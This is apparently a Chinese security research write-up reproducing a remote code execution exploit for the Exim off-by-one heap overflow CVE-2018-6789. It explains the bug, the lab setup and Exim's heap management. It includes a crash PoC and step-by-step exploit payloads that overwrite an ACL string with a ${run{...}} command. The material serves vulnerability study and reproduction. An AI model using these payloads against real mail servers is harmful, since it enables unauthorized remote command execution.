Exim off-by-one 漏洞利用

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2018年2月，流行的邮件服务器Exim曝出了堆溢出漏洞（CVE-2018-6789），几乎影响了之前的所有版本。该漏洞的发现者——台湾安全研究员Meh在博客上提供了利用该漏洞进行远程代码执行的思路，在推特中也表明了最终绕过各种缓解措施成功达成远程代码执行。

msg.png

基于Meh的思路在特定环境下复现了漏洞利用的过程，最终达成远程命令执行，相关的漏洞环境和验证代码 （https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789）已公开。

1. 漏洞成因

漏洞的成因是b64decode函数在对不规范的base64编码过的数据进行解码时可能会溢出堆上的一个字节，比较经典的off-by-one漏洞。

存在漏洞的b64decode函数部分代码如下：

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b64decode(const uschar *code, uschar **ptr)
{
int x, y;
uschar *result = store_get(3*(Ustrlen(code)/4) + 1);

*ptr = result;

/* Each cycle of the loop handles a quantum of 4 input bytes. For the last
quantum this may decode to 1, 2, or 3 output bytes. */
 ......
}

这段代码解码base64的逻辑是把4个字节当做一组，4个字节解码成3个字节，但是当最后余3个字节（即len(code)=4n+3）时，会解码成2个字节，解码后的总长度为 3n+2 字节，而分配的堆空间的大小为3n+1 ，因此就会发生堆溢出。当然，官方给出的修补方案也很简单，多分配几个字节就可以了。

2. 环境搭建

Meh博客中漏洞测试的exim版本是直接通过apt安装的，但是由于debian官方已经修复了仓库中exim的漏洞，可以通过查看软件包源码的patch信息确认：

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root@skysider:~/poc/exim4-4.86.2# apt-get source exim4
......
dpkg-source: info: applying 93_CVE-2017-1000368.patch
dpkg-source: info: applying fix_smtp_banner.patch
dpkg-source: info: applying CVE-2016-9963.patch
dpkg-source: info: applying CVE-2018-6789.patch

我们选择下载早期版本的源代码进行编译安装：

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sudo apt-get build-dep exim4
wget https://github.com/Exim/exim/releases/download/exim-4_89/exim-4.89.tar.xz

在编译过程中要安装一些依赖库，还需要修改Makefile、新建用户、配置日志文件的权限等，可以参考Dockerfile（https://github.com/skysider/VulnPOC/blob/master/CVE-2018-6789/Environment/Dockerfile）的安装过程。

exim可以在运行时指定配置文件，为了触发漏洞以及命令执行，需要配置CRAM-MD5 authenticator以及设置acl_smtp_mail等，配置文件如下：

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acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
  .ifdef CHECK_MAIL_HELO_ISSUED
  deny
    message = no HELO given before MAIL command
    condition = ${if def:sender_helo_name {no}{yes}}
  .endif

  accept

acl_check_data:
  accept

begin authenticators
fixed_cram:
  driver = cram_md5
  public_name = CRAM-MD5
  server_secret = ${if eq{$auth1}{ph10}{secret}fail}
  server_set_id = $auth1

以调试模式启动exim服务：

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exim -bd -d-receive -C conf.conf

也可以直接使用docker来验证该漏洞（上面的命令为默认启动命令）：

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docker run -it --name exim -p 25:25 skysider/vulndocker:cve-2018-6789

3. 漏洞测试

我们使用一个简单的poc来触发漏洞，poc代码如下：

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#!/usr/bin/python
# -*- coding: utf-8 -*-
import smtplib
from base64 import b64encode

print "this poc is tested in exim 4.89 x64 bit with cram-md5 authenticators"
ip_address = raw_input("input ip address: ")
s = smtplib.SMTP(ip_address)
#s.set_debuglevel(1)
# 1. put a huge chunk into unsorted bin
s.ehlo("mmmm"+"b"*0x1500) # 0x2020

# 2. send base64 data and trigger off-by-one
#raw_input("overwrite one byte of next chunk")
s.docmd("AUTH CRAM-MD5")

payload = "d"*(0x2008-1)
try:
	s.docmd(b64encode(payload)+b64encode('\xf1\xf1')[:-1])
	s.quit()
except smtplib.SMTPServerDisconnected:
	print "[!] exim server seems to be vulnerable to CVE-2018-6789."

当执行这段代码时，会触发内存错误

core_dump.png

在这个过程中，堆的主要变化如下：

poc.png

我们可以去观察错误之前的堆，attach到子进程，下图是发送ehlo消息之后的堆：

heap_1.png

发送Auth数据之后，我们可以看一下执行完b64decode函数之后的堆：

heap_2.png

图中圈出来的两个字节正是我们发送的Auth数据解码出来的最后两个字节，最后一个字节0xf1修改了下一个块的大小，使得原本应该是0x4040（0x6060-0x2020）的unsorted 空闲块变成了0x40f0，通过查看该空闲块紧邻的下一个堆块可以确认当前unsorted bin的空闲块大小是被修改了，因此当从该空闲块分配空间时，malloc函数会检查该空闲块的大小 0x40f0 (低字节的低3位是标志位）与紧邻的下一个堆块标记的前一个堆块的大小 0x4040 是否相等，若不相等，就会触发内存错误。

4. Exim内存管理机制

exim在libc提供的堆管理机制的基础上实现了一套自己的管理堆块的方法，引入了store pool、store block的概念。store pool是一个单链表结构，每一个节点都是一个store block，每个store block的数据大小至少为0x2000，storeblock的结构如下：

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/* Structure describing the beginning of each big block. */

typedef struct storeblock {
  struct storeblock *next;
  size_t length;
} storeblock;

下图展示了一个storepool的完整的数据存储方式，chainbase是头结点，指向第一个storeblock，current_block是尾节点，指向链表中的最后一个节点。store_last_get指向current_block中最后分配的空间，next_yield指向下一次要分配空间时的起始位置，yield_length则表示当前store_block中剩余的可分配字节数。当current_block中的剩余字节数（yield_length）小于请求分配的字节数时，会调用malloc分配一个新的storeblock块，然后从该storeblock中分配需要的空间。更多关于exim内存管理机制可以查看store.c。

store.png

5. 漏洞利用

整体的漏洞利用思路参考漏洞发现者Meh的博客，通过覆盖acl字符串为 ${run{command}} 的方式，达到远程命令执行的目的。因为不同的配置和启动参数可能会导致exim服务在启动运行过程中堆栈布局存在差异，因此漏洞利用脚本仅在给定的环境中测试生效。

下面是漏洞利用的详细步骤：

exp1.png

  1. 发送ehlo，布局堆空间
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ehlo(s, "a"*0x1000) # 0x2020
ehlo(s, "a"*0x20)

形成一块大小为0x7040的空闲堆块

  1. 发送unknown command（包含不可打印字符）从unsorted bin分配内存空间
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docmd(s, "\xee"*0x700)

发送的unknown command 的大小要满足 yield_length < (length + nonprintcount * 3 + 1) ，从而使得发送的unknown command能够调用malloc函数分配一个新的storeblock。

exp2.png

  1. 发送ehlo信息回收unknown命令分配的空间
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ehlo(s, "c"*0x2c00)

在回收unknown command占用的内存空间时，由于之前的sender_host_name占用的内存空间已经释放，会发生合并，形成大小为0x2050的空闲块

  1. 发送Auth数据，触发漏洞，修改ehlo信息所在堆块的大小
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payload = "d"*(0x2020+0x30-0x18-1)
docmd(s, b64encode(payload)+b64encode("\xf1\xf1")[:-1])
  1. 发送Auth数据伪造下一个块的块头信息，绕过释放sender_host_name所在堆块时的内存检查
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payload2 = 'm'*0x70+p64(0x1f41) # modify fake size
docmd(s, b64encode(payload2))

exp3.png

  1. 释放sender_host_name所在堆块，同时为了不释放其他storeblock，发送包含无效字符的信息
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ehlo(s, "skysider+")
  1. 发送Auth数据，修改overlapped所在storeblock的next指针，令其指向acl字符串所在的storeblock
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payload3 = 'a'*0x2bf0 + p64(0) + p64(0x2021) + p8(0x80)
try_addr = p16(try_addr*0x10+4)  # to change
docmd(s, b64encode(payload3)+b64encode(try_addr)[:-1])

由于地址随机化，acl所在的storeblock高位字节未知（在docker环境下，低12bit为0x480不变），但是原始的next指针指向的storeblock与要修改的storeblock高位字节相同，仅低位3字节不同，因此可以采用局部overwrite，只需要爆破12bit即可。

  1. 发送ehlo消息释放所有的storeblock
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ehlo(s, "released")

此时unsorted bin表中存在多个空闲块，如下图所示，其中框出来的空闲块就是包含acl的storeblock

attach.png

  1. 覆盖acl字符串
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payload4 = 'a'*0x18 + p64(0xb1) + 't'*(0xb0-0x10) + p64(0xb0) + p64(0x1f40)
payload4 += 't'*(0x1f80-len(payload4))
auth(s, b64encode(payload4)+'ee')
payload5 = "a"*0x78 + "${run{" + command + "}}\x00"
auth(s, b64encode(payload5)+"ee")

发送第一个auth消息之后，unsorted bin表如下图所示

attach2.png

接着再分配合适的空间时，就可以获取目标storeblock所在的堆块，覆盖其中的acl字符串

heap_9.png

  1. 触发acl检查
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s.sendline("MAIL FROM: <test@163.com>")

exec.png

execute.png

至此就可以远程执行命令，完整的漏洞利用脚本见exp.py （https://github.com/skysider/VulnPOC/blob/master/CVE-2018-6789/exp.py），效果如下：

final.png

注：该漏洞利用脚本仅用于交流学习与安全研究，请勿用于非法用途。

参考：